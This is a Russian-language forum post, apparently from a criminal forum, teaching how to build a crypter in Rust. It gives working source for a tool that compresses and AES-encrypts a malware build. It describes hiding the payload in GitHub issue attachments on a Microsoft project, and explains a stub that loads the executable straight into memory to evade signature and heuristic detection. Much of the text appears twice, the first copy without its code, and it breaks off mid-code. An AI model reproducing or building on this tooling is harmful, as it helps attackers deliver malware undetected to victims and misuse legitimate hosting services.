D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
В постоянно меняющемся ландшафте киберугроз антивирусное программное обеспечение (АВ) часто является первой линией защиты от вредоносных атак. За прошедшие годы антивирусные программы усовершенствовали свои методы обнаружения вредоносного ПО, используя различные стратегии для обнаружения даже самых сложных угроз. Три основных метода, используемых в настоящее время, — это обнаружение на основе сигнатур, эвристическое обнаружение и динамическое обнаружение. Однако злоумышленники постоянно адаптируются, разрабатывая методы обхода этих защит.
Обнаружение на основе сигнатур:
Обнаружение на основе сигнатур остается одним из наиболее широко используемых методов антивирусного программного обеспечения. Он работает путем сравнения хэша файла (например, MD5, SHA256...) с базой данных известных сигнатур вредоносного ПО. Хотя этот метод очень эффективен для обнаружения известных угроз, он становится все менее эффективным против новых, неизвестных или вновь разработанных вариантов вредоносного ПО.
Эвристическое обнаружение:
Эвристическое обнаружение анализирует поведение программного обеспечения для обнаружения новых угроз, например, подозрительных характеристик в коде файла, таких как ненормальные или рискованные вызовы функций, обычно используемые вредоносным ПО. Этот метод более эффективен против неизвестных или мутировавших угроз, но у него все еще есть свои слабые стороны. Опытные разработчики вредоносного ПО используют методы обфускации для маскировки своего кода, что затрудняет распознавание потенциальных опасностей антивирусным программным обеспечением.
Динамическое обнаружение (во время выполнения):
Динамический анализ вредоносного ПО выполняет код в контролируемых средах, таких как виртуальные машины или песочницы, для наблюдения за поведением. Если файл выполняет вредоносные действия, такие как модификация системных файлов или связь с внешними серверами, он помечается как вредоносное ПО.
Криптер работает в первую очередь путем обфускации исполняемого файла с помощью шифрования, тем самым предотвращая распознавание антивирусными программами истинного назначения файла. Процесс шифрования гарантирует, что вредоносный код преобразуется в нечитаемый формат до тех пор, пока он не будет выполнен в памяти, в этот момент он расшифровывается и выполняется. Важно отметить, что расшифрованный код предназначен для запуска только в системной памяти, никогда не касаясь жесткого диска, тем самым избегая традиционных мер безопасности, в результате чего он обходит как обнаружение на основе сигнатур, так и эвристическое обнаружение.
C++: Скопировать в буфер обмена
скомпилируйте код, введя: cargo build --release или если у вас Linux, введите: cargo build --target x86_64-pc-windows-gnu --release.
Теперь, после того как вы зашифруете сборку вредоносного ПО, вы получите зашифрованные исходные данные и загрузите их на Github.
Войдите в свой аккаунт Github, затем перейдите в популярный или случайный проект, я буду использовать проект Microsoft WindowsAppSDK. Перейдите в раздел «Issues» и нажмите кнопку «New issue».
Обратите внимание, что вам не нужно публиковать задачу, поэтому не нажимайте кнопку «Create». Просто переименуйте файл, добавив .gz к зашифрованным исходным данным в конце, и перетащите файл в поле «Leave a comment». Вот и всё, вы получите прямую ссылку для скачивания ваших исходных данных. Вы увидите что-то подобное этому.
Скопируйте URL-адрес и сохраните его — он нам понадобится позже в коде.
При работе с файлами Portable Executable (PE) в контексте операционных систем Windows важно понимать различие между PE-файлом и PE-образом. PE-файл, говоря простым языком, это статический файл на диске, тогда как PE-образ представляет собой версию этого файла в памяти при его выполнении. Для запуска PE-файла недостаточно просто загрузить его в память и перейти к точке входа. PE-файл должен сначала быть преобразован в PE-образ, который структурно отличается и оптимизирован для выполнения. Это преобразование выполняется загрузчиком PE Windows, который тщательно располагает различные секции и данные внутри PE-файла для создания образа, включая необходимые перемещения и корректировки адресов. Загрузчик также включает специфичные для образа данные, которых нет в самом PE-файле. Этот важный процесс обеспечивает правильный формат PE-образа и его расположение в памяти для успешного выполнения системой. Диаграмма ниже показывает упрощенную структуру Portable Executable. Каждый заголовок, показанный на изображении, определен как структура данных, которая содержит информацию о PE-файле.
Почему бы не внедрить зашифрованные исходные данные в сам загрузчик заглушки?
Да, мы могли бы сделать это, но это приведет только к увеличению энтропии файла. Бинарные файлы вредоносных программ обычно имеют более высокое значение энтропии, чем обычные файлы. Высокая энтропия обычно является индикатором сжатых, зашифрованных или упакованных данных, которые часто используются вредоносным ПО для скрытия сигнатур. Сжатые, зашифрованные или упакованные данные часто генерируют большое количество рандомизированного вывода, что объясняет, почему энтропия выше в файлах вредоносных программ, именно поэтому мы будем избегать хранения необработанных данных в самом загрузчике-заглушке.
Portable_Executable_32_bit_Structure_in_SVG_fixed.svg%0A
Исполняемые файлы (PE) следуют стандартизированной структуре, называемой Common Object File Format (COFF). PE-файлы представляют собой исполняемые файлы в формате COFF, используемые в операционных системах Windows, и включают такие форматы, как исполняемые файлы (.exe, .cpl, .sys и т.д.), объектный код и DLL. Формат PE-файла содержит важную информацию, необходимую операционной системе Windows для эффективной загрузки и выполнения файла. Понимание различных компонентов PE-файла очень важно.
C++: Скопировать в буфер обмена
озвращаемым значением функции будет размер PE-образа в памяти. Это больше, чем размер самого PE-файла. Одна из причин заключается в том, что PE-образ представляет собой гораздо больше, чем просто PE-файл.
Код: Скопировать в буфер обмена
Эта структура важна для PE-загрузчика в MS-DOS, однако для PE-загрузчика в системах Windows важны только несколько её элементов. Теперь функция, которая получит DOS-заголовок - это очень простая функция, она примет указатель на PE-образ и вернёт указатель на структуру IMAGE_DOS_HEADER.
C++: Скопировать в буфер обмена
Теперь мы можем написать функцию get_nt_header, которая принимает два аргумента: указатель на базовый адрес PE-файла в памяти (lp_image) и указатель на DOS-заголовок PE-файла (lp_dos_header). Результатом выполнения этой функции является указатель на NT-заголовок.
C++: Скопировать в буфер обмена
Заголовок раздела — это структура с именем IMAGE_SECTION_HEADER, которая определена следующим образом:
Код: Скопировать в буфер обмена
Вот как выглядят заголовки разделов в PE-bear:
Эти заголовки разделов необходимо скопировать из PE-файла в PE-образ. Конечно, разделы в PE-образе не являются точной копией разделов PE-файла — данные, хранящиеся в разделах PE-образа, часто являются результатом некоторых изменений, внесенных в соответствующие данные в разделах PE-файла.
Это означает, что простого копирования отдельных разделов в буфер PE-образа недостаточно; после копирования необходимо внести несколько изменений. Сначала мы должны скопировать каждый раздел в соответствующие смещения в PE-образе. На последующих этапах мы изменим эту копию.
Для достижения этого мы анализируем первые части PE-файла и вычисляем размер заголовков.
Спойлер: get_headers_size
C++: Скопировать в буфер обмена
После этого функция извлекает и возвращает количество разделов в PE-файле на основе его структуры IMAGE_NT_HEADERS. Количество разделов хранится в поле NumberOfSections структуры FileHeader, которое содержит общее количество разделов, а SectionHeaderFirst — это указатель на первый заголовок раздела. Каждый раздел в PE-файле имеет связанный с ним заголовок раздела, который описывает смещение и размер раздела. Заголовки разделов хранятся в массиве структур IMAGE_SECTION_HEADER. Функция корректирует способ чтения указателя ntheader в зависимости от того, является ли архитектура 64-битной или 32-битной.
Спойлер: get_number_of_sections
C++: Скопировать в буфер обмена
Теперь мы выполняем запись разделов в выделенный буфер. Мы будем перебирать каждый заголовок раздела, анализировать смещение и размер раздела, который он представляет, а затем копировать количество байт, указанное в SizeOfRawData, из смещения PointerToRawData в PE-файле в смещение VirtualAddress в PE-образе.
Спойлер: write_sections
C++: Скопировать в буфер обмена
Она состоит из массива структур IMAGE_IMPORT_DESCRIPTOR, каждая из которых соответствует одной DLL.
Ее размер не фиксирован, поэтому последняя структура IMAGE_IMPORT_DESCRIPTOR в массиве заполнена нулями (NULL-заполнение), чтобы обозначить конец таблицы импорта.
Структура IMAGE_IMPORT_DESCRIPTOR определена следующим образом:
Код: Скопировать в буфер обмена
PE-файл импортирует функции из других модулей, таких как системные DLL. Эта информация об импорте хранится в разделе .idata в виде массива структур IMAGE_IMPORT_DESCRIPTOR.
Каждая структура IMAGE_IMPORT_DESCRIPTOR представляет одну библиотеку. Каждая функция, которую необходимо импортировать из этой библиотеки, описывается в структурах IMAGE_THUNK_DATA, на которые указывает поле OriginalFirstThunk в IMAGE_IMPORT_DESCRIPTOR. Эти данные thunk содержат либо порядковый номер функции (.Ordinal), либо имя функции (.AddressOfData).
Адреса найденных функций должны быть добавлены в соответствующие структуры IMAGE_THUNK_DATA, на которые указывает поле FirstThunk в IMAGE_IMPORT_DESCRIPTOR. Да, мы используем OriginalFirstThunk для поиска функции, а затем сохраняем найденные функции в FirstThunk.
Имя функции хранится в структуре IMAGE_IMPORT_BY_NAME, на которую указывает поле u1.AddressOfData в IMAGE_THUNK_DATA.
Используя порядковый номер или имя функции, мы можем применить GetProcAddress, чтобы найти адрес нужной функции. После этого мы устанавливаем этот адрес в соответствующую структуру IMAGE_THUNK_DATA, на которую указывает FirstThunk в IMAGE_IMPORT_DESCRIPTOR.
Спойлер: get_import_directory
C++: Скопировать в буфер обмена
Когда исполняемый файл Windows (PE-файл) компилируется, компилятор предполагает, что программа будет загружена в память по определённому базовому адресу. Этот адрес, хранящийся в поле IMAGE_OPTIONAL_HEADER.ImageBase, критически важен, так как компилятор жёстко прописывает адреса памяти для переменных, функций и других данных, основываясь на этом предположении. Однако на практике загрузчик операционной системы не всегда может использовать этот предпочтительный адрес. Например, если другой модуль уже занимает запрошенную область памяти, загрузчик должен переместить исполняемый файл на другой базовый адрес. Без корректировок эти жёстко прописанные адреса будут указывать на недопустимые места, вызывая сбои или неопределённое поведение. Именно здесь вступают в действие PE-релокации.
Давайте напишем программу на C и скомпилируем её с флагом DYNAMIC_BASE в заголовке PE, чтобы отключить ASLR:
x86_64-w64-mingw32-gcc -o test.exe main.c -Wl,--disable-dynamicbase
Теперь мы можем открыть её в PE Bear и увидим, что адрес ImageBase: 140000000. Теперь нам также нужно отключить ASLR в Windows 11, так как он включён по умолчанию. Чтобы отключить его, выполните шаги, показанные на изображениях ниже, и перезагрузите систему.
Теперь, как мы видим, Windows действительно загружает этот PE-файл, используя его жёстко прописанный адрес.
Теперь рассмотрим следующий код:
Если компилятор предполагает базовый адрес 0x1000, он может назначить переменной test смещение 0x100, в результате чего testPtr будет указывать на адрес 0x1100. Если загрузчик позже разместит исполняемый файл по адресу 0x2000, переменная test окажется по адресу 0x2100, но testPtr по-прежнему будет содержать значение 0x1100, которое теперь станет недействительным. Загрузчик должен скорректировать такие адреса, чтобы они соответствовали новому базовому адресу. Этот процесс корректировки называется релокацией.
Формат PE включает раздел .reloc, который содержит данные для релокации. Этот раздел организован в виде серии блоков, каждый из которых описывает, как скорректировать адреса в определённой области памяти. Эти блоки определяются двумя структурами:
1- IMAGE_BASE_RELOCATION: Содержит метаданные для блока релокаций.
Код: Скопировать в буфер обмена
Как работают релокации
Например, если ImageBase = 0x40000, но исполняемый файл загружается по адресу 0x50000, Delta = 0x10000.
C++: Скопировать в буфер обмена
Если вы хотите глубже понять PE, я настоятельно рекомендую взглянуть на блог https://0xrick.github.io/ - там есть очень интересные статьи о различных частях PE-файлов.
Вы можете добиться того же самого с помощью любого компилируемого языка программирования, логика практически одинакова.
Код: Скопировать в буфер обмена
func вызывает указатель функции. Это приводит к переходу на код в точке входа и начинает его выполнение, как если бы это была обычная функция.
Надеюсь, вам понравится моя статья. Если у вас есть какие-либо вопросы, отзывы или предложения, или если вы заметили какие-либо ошибки, пожалуйста, не стесняйтесь оставлять комментарии.
Написано с любовью
для XSS.is пользователем voldemort.
ZIP-архив не отображается при загрузке сюда, возможно, из-за его размера. Вот ссылка для скачивания.
Обнаружение на основе сигнатур:
Обнаружение на основе сигнатур остается одним из наиболее широко используемых методов антивирусного программного обеспечения. Он работает путем сравнения хэша файла (например, MD5, SHA256...) с базой данных известных сигнатур вредоносного ПО. Хотя этот метод очень эффективен для обнаружения известных угроз, он становится все менее эффективным против новых, неизвестных или вновь разработанных вариантов вредоносного ПО.
Эвристическое обнаружение:
Эвристическое обнаружение анализирует поведение программного обеспечения для обнаружения новых угроз, например, подозрительных характеристик в коде файла, таких как ненормальные или рискованные вызовы функций, обычно используемые вредоносным ПО. Этот метод более эффективен против неизвестных или мутировавших угроз, но у него все еще есть свои слабые стороны. Опытные разработчики вредоносного ПО используют методы обфускации для маскировки своего кода, что затрудняет распознавание потенциальных опасностей антивирусным программным обеспечением.
Динамическое обнаружение (во время выполнения):
Динамический анализ вредоносного ПО выполняет код в контролируемых средах, таких как виртуальные машины или песочницы, для наблюдения за поведением. Если файл выполняет вредоносные действия, такие как модификация системных файлов или связь с внешними серверами, он помечается как вредоносное ПО.
Криптер работает в первую очередь путем обфускации исполняемого файла с помощью шифрования, тем самым предотвращая распознавание антивирусными программами истинного назначения файла. Процесс шифрования гарантирует, что вредоносный код преобразуется в нечитаемый формат до тех пор, пока он не будет выполнен в памяти, в этот момент он расшифровывается и выполняется. Важно отметить, что расшифрованный код предназначен для запуска только в системной памяти, никогда не касаясь жесткого диска, тем самым избегая традиционных мер безопасности, в результате чего он обходит как обнаружение на основе сигнатур, так и эвристическое обнаружение.
Crypt.
Это не важная часть статьи, так как я уже объяснял это ранее, поэтому мы сделаем краткий обзор того, что мы собираемся сделать. Мы просто возьмем исполняемый файл, сожмем его с помощью GZIP, затем зашифруем сжатое содержимое с использованием AES256 с случайным ключом. Этот ключ будет добавлен в начало нашего зашифрованного исполняемого файла. После этого мы загрузим его на Github для постоянного хостинга полезной нагрузки. Однако сам ключ шифрования будет зашифрован с использованием XOR, и он будет расшифрован позже во время выполнения с помощью брутфорса и подсказки в байтах.C++: Скопировать в буфер обмена
Код:
use aes::Aes256;
use aes::cipher::{generic_array::GenericArray,KeyInit,BlockEncrypt};
use std::fs::read;
use std::fs::File;
use std::io::prelude::*;
use rand::{thread_rng,Rng,RngCore};
use flate2::write::GzEncoder;
use flate2::Compression;
fn main() -> std::io::Result<()> {
let args: Vec<String> = std::env::args().collect();
if args.len() < 2 {
println!("Run with {} <inputfile.exe>", args.get(0).unwrap());
return Err(std::io::Error::new(
std::io::ErrorKind::NotFound,
"file input not found",
));
}
let fname = args.get(1).unwrap();
let plaintext = read(fname).expect("Failed to read file");
// compress the file using Gzip
let mut encoder = GzEncoder::new(Vec::new(), Compression::default());
encoder.write_all(&plaintext)?;
let compressed_bytes = encoder.finish()?;
// Encrypt the file
let mut encrypted_file = File::create("encrypted_Input.bin")?;
// Define block size, in this case AES-256
let block_size = 16;
// Pad the bytes
let padding_size = block_size - (compressed_bytes.len() % block_size);
let mut padded_plaintext_bytes = compressed_bytes;
padded_plaintext_bytes.extend(vec![padding_size as u8; padding_size]);
// Generate a random key
let r = generate_key();
//Append the key at the beginning of the encrypted file
encrypted_file.write_all(&r.0)?;
// Encrypt the file
let key = GenericArray::from_slice(&r.1);
let cipher = Aes256::new(&key);
let mut encrypted_bytes = Vec::new();
for chunk in padded_plaintext_bytes.chunks(block_size) {
let mut block = GenericArray::clone_from_slice(chunk);
cipher.encrypt_block(&mut block);
encrypted_bytes.extend_from_slice(&block);
}
encrypted_file.write_all(&encrypted_bytes)?;
Ok(())
}
fn generate_key() -> ([u8; 32],[u8; 32]) {
let mut rng = thread_rng();
//generate a random byte avoiding 0
let b : u8 = rng.gen_range(1..=255);
let mut key = [0u8; 32];
// The key starts with the hint byte
key[0] = 71;
rng.fill_bytes(&mut key[1..]) ;
// Encrypting the key using a xor encryption algorithm
let mut encrypted_key = [0u8; 32];
for i in 0..32 {
encrypted_key[i] = key[i] ^ b + (i as u8);
}
return (encrypted_key, key);
}
Теперь, после того как вы зашифруете сборку вредоносного ПО, вы получите зашифрованные исходные данные и загрузите их на Github.
Войдите в свой аккаунт Github, затем перейдите в популярный или случайный проект, я буду использовать проект Microsoft WindowsAppSDK. Перейдите в раздел «Issues» и нажмите кнопку «New issue».
Обратите внимание, что вам не нужно публиковать задачу, поэтому не нажимайте кнопку «Create». Просто переименуйте файл, добавив .gz к зашифрованным исходным данным в конце, и перетащите файл в поле «Leave a comment». Вот и всё, вы получите прямую ссылку для скачивания ваших исходных данных. Вы увидите что-то подобное этому.
Скопируйте URL-адрес и сохраните его — он нам понадобится позже в коде.
Stub.
При работе с файлами Portable Executable (PE) в контексте операционных систем Windows важно понимать различие между PE-файлом и PE-образом. PE-файл, говоря простым языком, это статический файл на диске, тогда как PE-образ представляет собой версию этого файла в памяти при его выполнении. Для запуска PE-файла недостаточно просто загрузить его в память и перейти к точке входа. PE-файл должен сначала быть преобразован в PE-образ, который структурно отличается и оптимизирован для выполнения. Это преобразование выполняется загрузчиком PE Windows, который тщательно располагает различные секции и данные внутри PE-файла для создания образа, включая необходимые перемещения и корректировки адресов. Загрузчик также включает специфичные для образа данные, которых нет в самом PE-файле. Этот важный процесс обеспечивает правильный формат PE-образа и его расположение в памяти для успешного выполнения системой. Диаграмма ниже показывает упрощенную структуру Portable Executable. Каждый заголовок, показанный на изображении, определен как структура данных, которая содержит информацию о PE-файле.
Почему бы не внедрить зашифрованные исходные данные в сам загрузчик заглушки?
Да, мы могли бы сделать это, но это приведет только к увеличению энтропии файла. Бинарные файлы вредоносных программ обычно имеют более высокое значение энтропии, чем обычные файлы. Высокая энтропия обычно является индикатором сжатых, зашифрованных или упакованных данных, которые часто используются вредоносным ПО для скрытия сигнатур. Сжатые, зашифрованные или упакованные данные часто генерируют большое количество рандомизированного вывода, что объясняет, почему энтропия выше в файлах вредоносных программ, именно поэтому мы будем избегать хранения необработанных данных в самом загрузчике-заглушке.
Разбор и обработка файла PE
Теперь, когда мы прочитали файл PE в байтовый буфер, мы можем начать с расшифровки и извлечения полезных данных из него. Эти данные помогут нам правильно загрузить файл PE в память. Вот еще одна диаграмма структуры PE.Portable_Executable_32_bit_Structure_in_SVG_fixed.svg%0A
Исполняемые файлы (PE) следуют стандартизированной структуре, называемой Common Object File Format (COFF). PE-файлы представляют собой исполняемые файлы в формате COFF, используемые в операционных системах Windows, и включают такие форматы, как исполняемые файлы (.exe, .cpl, .sys и т.д.), объектный код и DLL. Формат PE-файла содержит важную информацию, необходимую операционной системе Windows для эффективной загрузки и выполнения файла. Понимание различных компонентов PE-файла очень важно.
Резервирование места для PE в памяти
Во-первых, нам нужно выделить буфер для хранения загруженного в память PE-образа. Поэтому мы должны рассчитать точный размер образа нашего PE-файла. Если файл не является корректным PE-файлом, произойдет аварийное завершение.C++: Скопировать в буфер обмена
Код:
pub fn get_image_size(buffer: &[u8]) -> usize {
// Get the magic string from the buffer
let magic = &buffer[0..2];
// Convert the magic string to a string
let magicstring = match std::str::from_utf8(magic) {
Ok(s) => s,
Err(_) => panic!("invalid magic string"),
};
// Check if the magic string is "MZ"
assert_eq!(magicstring, "MZ", "it's not a PE file");
// Get the offset to the NT header
let offset = {
let ntoffset = &buffer[60..64];
let mut offset = [0u8; 4];
offset.copy_from_slice(ntoffset);
i32::from_le_bytes(offset) as usize
};
// Get the bit version from the buffer
let bit = {
let bitversion = &buffer[offset + 4 + 20..offset + 4 + 20 + 2];
let mut bit = [0u8; 2];
bit.copy_from_slice(bitversion);
u16::from_le_bytes(bit)
};
// Check the bit version and return the size of the image
match bit {
523 | 267 => {
let index = offset + 24 + 60 - 4;
let size = {
let headerssize = &buffer[index..index + 4];
let mut size = [0u8; 4];
size.copy_from_slice(headerssize);
i32::from_le_bytes(size)
};
size as usize
}
_ => panic!("invalid bit version"),
}
}
Headers
Основными заголовками в файле PE (Portable Executable) являются:- DOS Header :
DOS-заголовок (также называемый MS-DOS-заголовком) - это структура длиной 64 байта, которая находится в начале PE-файла. Он не важен для функционирования PE-файлов в современных системах Windows, однако присутствует по причинам обратной совместимости. Этот заголовок делает файл исполняемым в MS-DOS, поэтому когда он загружается в MS-DOS, вместо фактической программы выполняется DOS-заглушка. Без этого заголовка при попытке загрузить исполняемый файл в MS-DOS он не будет загружен и просто выдаст общую ошибку.
Код: Скопировать в буфер обмена
Код:
pub struct IMAGE_DOS_HEADER {
pub e_magic: u16,
pub e_cblp: u16,
pub e_cp: u16,
pub e_crlc: u16,
pub e_cparhdr: u16,
pub e_minalloc: u16,
pub e_maxalloc: u16,
pub e_ss: u16,
pub e_sp: u16,
pub e_csum: u16,
pub e_ip: u16,
pub e_cs: u16,
pub e_lfarlc: u16,
pub e_ovno: u16,
pub e_res: [u16; 4],
pub e_oemid: u16,
pub e_oeminfo: u16,
pub e_res2: [u16; 10],
pub e_lfanew: i32,
}
Эта структура важна для PE-загрузчика в MS-DOS, однако для PE-загрузчика в системах Windows важны только несколько её элементов. Теперь функция, которая получит DOS-заголовок - это очень простая функция, она примет указатель на PE-образ и вернёт указатель на структуру IMAGE_DOS_HEADER.
C++: Скопировать в буфер обмена
Код:
pub fn get_dos_header(lp_image: *const c_void) -> *const IMAGE_DOS_HEADER {
lp_image as *const IMAGE_DOS_HEADER
}
- NT Headers :
- Signature :
Первым элементом структуры NT-заголовков является сигнатура PE. Это значение типа DWORD, что означает, что оно занимает 4 байта. Оно всегда имеет фиксированное значение 0x50450000, что в ASCII переводится как PE\0\0.
Код:
#[cfg(target_arch = "x86")]
pub struct IMAGE_NT_HEADERS32 {
pub Signature: u32,
pub FileHeader: IMAGE_FILE_HEADER,
pub OptionalHeader: IMAGE_OPTIONAL_HEADER32,
}
#[derive(Default)]
#[repr(C)]
#[cfg(target_arch = "x86_64")]
pub struct IMAGE_NT_HEADERS64 {
pub Signature: u32,
pub FileHeader: IMAGE_FILE_HEADER,
pub OptionalHeader: IMAGE_OPTIONAL_HEADER64,
}
- File Header :
Заголовок файла (File Header) — это структура, которая содержит некоторую информацию о PE-файле, такую как сведения о файле, указывает целевую машину, количество секций и время создания файла. Он определяется как IMAGE_FILE_HEADER.
Код:
pub struct IMAGE_FILE_HEADER {
pub Machine: u16,
pub NumberOfSections: u16,
pub TimeDateStamp: u32,
pub PointerToSymbolTable: u32,
pub NumberOfSymbols: u32,
pub SizeOfOptionalHeader: u16,
pub Characteristics: u16,
}
- Optional Header :
Дополнительный заголовок является самым важным заголовком среди NT-заголовков, PE-загрузчик ищет определённую информацию, предоставляемую этим заголовком, чтобы иметь возможность загрузить и запустить исполняемый файл. Он называется дополнительным заголовком, потому что некоторые типы файлов, такие как объектные файлы, его не имеют, однако этот заголовок является важнейшим для файлов образов. Некоторые его части предоставляют критически важную информацию времени выполнения, например, он содержит адрес точки входа, определяет требования к памяти, а также содержит подробности о необходимых DLL и импортах.
Код:
#[repr(C)]
#[cfg(target_arch = "x86")]
pub struct IMAGE_OPTIONAL_HEADER32 {
pub Magic: u16,
pub MajorLinkerVersion: u8,
pub MinorLinkerVersion: u8,
pub SizeOfCode: u32,
pub SizeOfInitializedData: u32,
pub SizeOfUninitializedData: u32,
pub AddressOfEntryPoint: u32,
pub BaseOfCode: u32,
pub BaseOfData: u32,
pub ImageBase: u32,
pub SectionAlignment: u32,
pub FileAlignment: u32,
pub MajorOperatingSystemVersion: u16,
pub MinorOperatingSystemVersion: u16,
pub MajorImageVersion: u16,
pub MinorImageVersion: u16,
pub MajorSubsystemVersion: u16,
pub MinorSubsystemVersion: u16,
pub Win32VersionValue: u32,
pub SizeOfImage: u32,
pub SizeOfHeaders: u32,
pub CheckSum: u32,
pub Subsystem: u16,
pub DllCharacteristics: u16,
pub SizeOfStackReserve: u32,
pub SizeOfStackCommit: u32,
pub SizeOfHeapReserve: u32,
pub SizeOfHeapCommit: u32,
pub LoaderFlags: u32,
pub NumberOfRvaAndSizes: u32,
pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16],
}
#[derive(Default)]
#[repr(C, packed(4))]
#[cfg(target_arch = "x86_64")]
pub struct IMAGE_OPTIONAL_HEADER64 {
pub Magic: u16,
pub MajorLinkerVersion: u8,
pub MinorLinkerVersion: u8,
pub SizeOfCode: u32,
pub SizeOfInitializedData: u32,
pub SizeOfUninitializedData: u32,
pub AddressOfEntryPoint: u32,
pub BaseOfCode: u32,
pub ImageBase: u64,
pub SectionAlignment: u32,
pub FileAlignment: u32,
pub MajorOperatingSystemVersion: u16,
pub MinorOperatingSystemVersion: u16,
pub MajorImageVersion: u16,
pub MinorImageVersion: u16,
pub MajorSubsystemVersion: u16,
pub MinorSubsystemVersion: u16,
pub Win32VersionValue: u32,
pub SizeOfImage: u32,
pub SizeOfHeaders: u32,
pub CheckSum: u32,
pub Subsystem: u16,
pub DllCharacteristics: u16,
pub SizeOfStackReserve: u64,
pub SizeOfStackCommit: u64,
pub SizeOfHeapReserve: u64,
pub SizeOfHeapCommit: u64,
pub LoaderFlags: u32,
pub NumberOfRvaAndSizes: u32,
pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16],
}
Теперь мы можем написать функцию get_nt_header, которая принимает два аргумента: указатель на базовый адрес PE-файла в памяти (lp_image) и указатель на DOS-заголовок PE-файла (lp_dos_header). Результатом выполнения этой функции является указатель на NT-заголовок.
C++: Скопировать в буфер обмена
Код:
pub fn get_nt_header(
lp_image: *const c_void,
lp_dos_header: *const IMAGE_DOS_HEADER,
) -> *const c_void {
// Calculate the address of the NT header
#[cfg(target_arch = "x86_64")]
let lp_nt_header = unsafe {
(lp_image as usize + (*lp_dos_header).e_lfanew as usize)
as *const IMAGE_NT_HEADERS64
};
#[cfg(target_arch = "x86")]
let lp_nt_header = unsafe {
(lp_image as usize + (*lp_dos_header).e_lfanew as usize)
as *const IMAGE_NT_HEADERS32
};
// Check if the NT header signature is valid
if unsafe { (*lp_nt_header).Signature } != IMAGE_NT_SIGNATURE {
return std::ptr::null_mut();
}
lp_nt_header as *const c_void
}
- Section Headers :
Разделы являются контейнерами для фактических данных исполняемого файла, они занимают оставшуюся часть PE-файла после заголовков, точнее, после заголовков разделов.
Некоторые разделы имеют специальные имена, которые указывают на их назначение, например:
- .text: Содержит исполняемый код программы.
- .data: Содержит инициализированные данные.
- .bss: Содержит неинициализированные данные.
- .rdata: Содержит инициализированные данные только для чтения.
- .edata: Содержит таблицы экспорта.
- .idata: Содержит таблицы импорта.
- .reloc: Содержит информацию о перемещении образа.
- .rsrc: Содержит ресурсы, используемые программой, такие как изображения, иконки или даже встроенные двоичные файлы.
- .tls: (Thread Local Storage, локальное хранилище потоков) предоставляет хранилище для каждого выполняемого потока программы.
Заголовок раздела — это структура с именем IMAGE_SECTION_HEADER, которая определена следующим образом:
Код: Скопировать в буфер обмена
Код:
#[repr(C)]
pub struct IMAGE_SECTION_HEADER {
pub Name: [u8; 8],
pub Misc: IMAGE_SECTION_HEADER_0,
pub VirtualAddress: u32,
pub SizeOfRawData: u32,
pub PointerToRawData: u32,
pub PointerToRelocations: u32,
pub PointerToLinenumbers: u32,
pub NumberOfRelocations: u16,
pub NumberOfLinenumbers: u16,
pub Characteristics: u32,
}
#[derive(Clone, Copy)]
#[repr(C)]
pub union IMAGE_SECTION_HEADER_0 {
pub PhysicalAddress: u32,
pub VirtualSize: u32,
}
Эти заголовки разделов необходимо скопировать из PE-файла в PE-образ. Конечно, разделы в PE-образе не являются точной копией разделов PE-файла — данные, хранящиеся в разделах PE-образа, часто являются результатом некоторых изменений, внесенных в соответствующие данные в разделах PE-файла.
Это означает, что простого копирования отдельных разделов в буфер PE-образа недостаточно; после копирования необходимо внести несколько изменений. Сначала мы должны скопировать каждый раздел в соответствующие смещения в PE-образе. На последующих этапах мы изменим эту копию.
Для достижения этого мы анализируем первые части PE-файла и вычисляем размер заголовков.
Спойлер: get_headers_size
C++: Скопировать в буфер обмена
Код:
pub fn get_headers_size(buffer: &[u8]) -> usize {
// Check if the first two bytes of the buffer are "MZ"
if buffer.len() >= 2 && buffer[0] == b'M' && buffer[1] == b'Z' {
// Get the offset to the NT header
if buffer.len() >= 64 {
let offset =
u32::from_le_bytes([buffer[60], buffer[61], buffer[62], buffer[63]]) as usize;
// Check the bit version and return the size of the headers
if buffer.len() >= offset + 4 + 20 + 2 {
match u16::from_le_bytes([buffer[offset + 4 + 20], buffer[offset + 4 + 20 + 1]]) {
523 | 267 => {
let headerssize = u32::from_le_bytes([
buffer[offset + 24 + 60],
buffer[offset + 24 + 60 + 1],
buffer[offset + 24 + 60 + 2],
buffer[offset + 24 + 60 + 3],
]);
return headerssize as usize;
}
_ => panic!("invalid bit version"),
}
} else {
panic!("file size is less than required offset");
}
} else {
panic!("file size is less than 64");
}
} else {
panic!("it's not a PE file");
}
}
Спойлер: get_number_of_sections
C++: Скопировать в буфер обмена
Код:
fn get_number_of_sections(ntheader: *const c_void) -> u16 {
#[cfg(target_arch = "x86_64")]
return unsafe {
(*(ntheader as *const IMAGE_NT_HEADERS64))
.FileHeader
.NumberOfSections
};
#[cfg(target_arch = "x86")]
return unsafe {
(*(ntheader as *const IMAGE_NT_HEADERS32))
.FileHeader
.NumberOfSections
};
}
Спойлер: write_sections
C++: Скопировать в буфер обмена
Код:
pub fn write_sections(baseptr: *const c_void, buffer: Vec<u8>,ntheader: *const c_void,dosheader: *const IMAGE_DOS_HEADER) {
let number_of_sections = get_number_of_sections(ntheader);
let nt_header_size = get_nt_header_size();
let e_lfanew = (unsafe { *dosheader }).e_lfanew as usize;
let mut st_section_header =
(baseptr as usize + e_lfanew + nt_header_size) as *const IMAGE_SECTION_HEADER;
for _i in 0..number_of_sections {
// Get the section data
let section_data = buffer
.get(
unsafe { (*st_section_header).PointerToRawData } as usize..(unsafe {
(*st_section_header).PointerToRawData
} + (unsafe {
*st_section_header
})
.SizeOfRawData)
as usize,
)
.unwrap_or_default();
// Write the section data to the allocated memory
unsafe {
std::ptr::copy_nonoverlapping(
section_data.as_ptr() as *const c_void,
(baseptr as usize + (*st_section_header).VirtualAddress as usize) as *mut c_void,
(*st_section_header).SizeOfRawData as usize,
)
};
st_section_header = unsafe { st_section_header.add(1) };
}
}
Import table
Таблица импорта (Import Directory Table) — это каталог данных, расположенный в начале раздела .idata.Она состоит из массива структур IMAGE_IMPORT_DESCRIPTOR, каждая из которых соответствует одной DLL.
Ее размер не фиксирован, поэтому последняя структура IMAGE_IMPORT_DESCRIPTOR в массиве заполнена нулями (NULL-заполнение), чтобы обозначить конец таблицы импорта.
Структура IMAGE_IMPORT_DESCRIPTOR определена следующим образом:
Код: Скопировать в буфер обмена
Код:
#[repr(C)]
pub struct IMAGE_IMPORT_DESCRIPTOR {
pub Anonymous: IMAGE_IMPORT_DESCRIPTOR_0,
pub TimeDateStamp: u32,
pub ForwarderChain: u32,
pub Name: u32,
